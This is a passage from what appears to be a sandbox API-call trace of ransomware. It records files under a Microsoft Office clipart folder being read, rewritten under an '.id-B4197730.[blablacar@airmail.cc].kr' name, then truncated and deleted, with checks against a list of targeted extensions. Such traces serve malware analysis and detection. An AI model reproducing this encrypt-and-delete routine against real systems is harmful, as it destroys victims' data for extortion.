hFile=0x408, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4354, lpOverlapped=0x0) returned 1 [0177.933] WriteFile (in: hFile=0x40c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4360, lpOverlapped=0x0) returned 1 [0177.935] ReadFile (in: hFile=0x408, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.935] WriteFile (in: hFile=0x40c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.935] SetEndOfFile (hFile=0x40c) returned 1 [0177.935] CloseHandle (hObject=0x40c) returned 1 [0177.937] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.937] SetEndOfFile (hFile=0x408) returned 1 [0178.064] CloseHandle (hObject=0x408) returned 1 [0178.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0178.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.066] lstrlenW (lpString=".doc") returned 4 [0178.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.066] lstrlenW (lpString=".docx") returned 5 [0178.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.066] lstrlenW (lpString=".pdf") returned 4 [0178.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.066] lstrlenW (lpString=".xls") returned 4 [0178.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.066] lstrlenW (lpString=".xlsx") returned 5 [0178.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.067] lstrlenW (lpString=".ppt") returned 4 [0178.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.067] lstrlenW (lpString=".zip") returned 4 [0178.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.067] lstrlenW (lpString=".rar") returned 4 [0178.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.067] lstrlenW (lpString=".bz2") returned 4 [0178.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.067] lstrlenW (lpString=".7z") returned 3 [0178.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.067] lstrlenW (lpString=".dbf") returned 4 [0178.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.067] lstrlenW (lpString=".1cd") returned 4 [0178.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.067] lstrlenW (lpString=".jpg") returned 4 [0178.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.067] lstrlenW (lpString=".doc") returned 4 [0178.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.067] lstrlenW (lpString=".docx") returned 5 [0178.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.067] lstrlenW (lpString=".pdf") returned 4 [0178.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.067] lstrlenW (lpString=".xls") returned 4 [0178.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.067] lstrlenW (lpString=".xlsx") returned 5 [0178.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.068] lstrlenW (lpString=".ppt") returned 4 [0178.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.068] lstrlenW (lpString=".zip") returned 4 [0178.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.068] lstrlenW (lpString=".rar") returned 4 [0178.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.068] lstrlenW (lpString=".bz2") returned 4 [0178.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.068] lstrlenW (lpString=".7z") returned 3 [0178.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.068] lstrlenW (lpString=".dbf") returned 4 [0178.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.068] lstrlenW (lpString=".1cd") returned 4 [0178.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0178.068] lstrlenW (lpString=".jpg") returned 4 [0178.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.068] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0178.068] lstrlenW (lpString="BD08868_.WMF") returned 12 [0178.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0178.069] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=40206) returned 1 [0178.069] CloseHandle (hObject=0x408) returned 1 [0178.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0178.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0178.070] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.070] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0178.071] GetLastError () returned 0x0 [0178.071] ReadFile (in: hFile=0x408, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0178.420] WriteFile (in: hFile=0x44c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0178.422] ReadFile (in: hFile=0x408, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.422] WriteFile (in: hFile=0x44c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.422] SetEndOfFile (hFile=0x44c) returned 1 [0179.148] CloseHandle (hObject=0x44c) returned 1 [0179.173] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.173] SetEndOfFile (hFile=0x408) returned 1 [0179.178] CloseHandle (hObject=0x408) returned 1 [0179.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0179.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0179.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.180] lstrlenW (lpString=".doc") returned 4 [0179.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.180] lstrlenW (lpString=".docx") returned 5 [0179.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.180] lstrlenW (lpString=".pdf") returned 4 [0179.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.181] lstrlenW (lpString=".xls") returned 4 [0179.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.181] lstrlenW (lpString=".xlsx") returned 5 [0179.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.181] lstrlenW (lpString=".ppt") returned 4 [0179.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.181] lstrlenW (lpString=".zip") returned 4 [0179.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.181] lstrlenW (lpString=".rar") returned 4 [0179.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.181] lstrlenW (lpString=".bz2") returned 4 [0179.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.181] lstrlenW (lpString=".7z") returned 3 [0179.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.181] lstrlenW (lpString=".dbf") returned 4 [0179.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.181] lstrlenW (lpString=".1cd") returned 4 [0179.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.181] lstrlenW (lpString=".jpg") returned 4 [0179.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.182] lstrlenW (lpString=".doc") returned 4 [0179.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString=".docx") returned 5 [0179.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.182] lstrlenW (lpString=".pdf") returned 4 [0179.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString=".xls") returned 4 [0179.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.182] lstrlenW (lpString=".xlsx") returned 5 [0179.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.182] lstrlenW (lpString=".ppt") returned 4 [0179.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.182] lstrlenW (lpString=".zip") returned 4 [0179.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.182] lstrlenW (lpString=".rar") returned 4 [0179.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString=".bz2") returned 4 [0179.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString=".7z") returned 3 [0179.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.182] lstrlenW (lpString=".dbf") returned 4 [0179.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.182] lstrlenW (lpString=".1cd") returned 4 [0179.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0179.183] lstrlenW (lpString=".jpg") returned 4 [0179.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.183] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0179.183] lstrlenW (lpString="BD19828_.WMF") returned 12 [0179.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0179.184] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=8772) returned 1 [0179.184] CloseHandle (hObject=0x408) returned 1 [0179.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0179.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0179.185] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.185] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0179.185] GetLastError () returned 0x0 [0179.185] ReadFile (in: hFile=0x408, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2244, lpOverlapped=0x0) returned 1 [0179.187] WriteFile (in: hFile=0x44c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2250, lpOverlapped=0x0) returned 1 [0179.188] ReadFile (in: hFile=0x408, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.188] WriteFile (in: hFile=0x44c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.188] SetEndOfFile (hFile=0x44c) returned 1 [0179.188] CloseHandle (hObject=0x44c) returned 1 [0179.190] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.190] SetEndOfFile (hFile=0x408) returned 1 [0179.192] CloseHandle (hObject=0x408) returned 1 [0179.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0179.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0179.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.194] lstrlenW (lpString=".doc") returned 4 [0179.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.194] lstrlenW (lpString=".docx") returned 5 [0179.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.194] lstrlenW (lpString=".pdf") returned 4 [0179.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.194] lstrlenW (lpString=".xls") returned 4 [0179.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.194] lstrlenW (lpString=".xlsx") returned 5 [0179.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.194] lstrlenW (lpString=".ppt") returned 4 [0179.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.194] lstrlenW (lpString=".zip") returned 4 [0179.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.194] lstrlenW (lpString=".rar") returned 4 [0179.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.194] lstrlenW (lpString=".bz2") returned 4 [0179.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.194] lstrlenW (lpString=".7z") returned 3 [0179.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.194] lstrlenW (lpString=".dbf") returned 4 [0179.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.195] lstrlenW (lpString=".1cd") returned 4 [0179.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.195] lstrlenW (lpString=".jpg") returned 4 [0179.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.195] lstrlenW (lpString=".doc") returned 4 [0179.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.195] lstrlenW (lpString=".docx") returned 5 [0179.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.195] lstrlenW (lpString=".pdf") returned 4 [0179.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.195] lstrlenW (lpString=".xls") returned 4 [0179.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.195] lstrlenW (lpString=".xlsx") returned 5 [0179.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.195] lstrlenW (lpString=".ppt") returned 4 [0179.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.195] lstrlenW (lpString=".zip") returned 4 [0179.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.195] lstrlenW (lpString=".rar") returned 4 [0179.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.195] lstrlenW (lpString=".bz2") returned 4 [0179.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.195] lstrlenW (lpString=".7z") returned 3 [0179.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.195] lstrlenW (lpString=".dbf") returned 4 [0179.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.196] lstrlenW (lpString=".1cd") returned 4 [0179.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0179.196] lstrlenW (lpString=".jpg") returned 4 [0179.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.196] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0179.196] lstrlenW (lpString="BD19986_.WMF") returned 12 [0179.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0179.207] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=14486) returned 1 [0179.207] CloseHandle (hObject=0x408) returned 1 [0179.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0179.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0179.207] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.209] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0179.210] GetLastError () returned 0x0 [0179.210] ReadFile (in: hFile=0x408, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x3896, lpOverlapped=0x0) returned 1 [0179.212] WriteFile (in: hFile=0x44c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x38a0, lpOverlapped=0x0) returned 1 [0179.214] 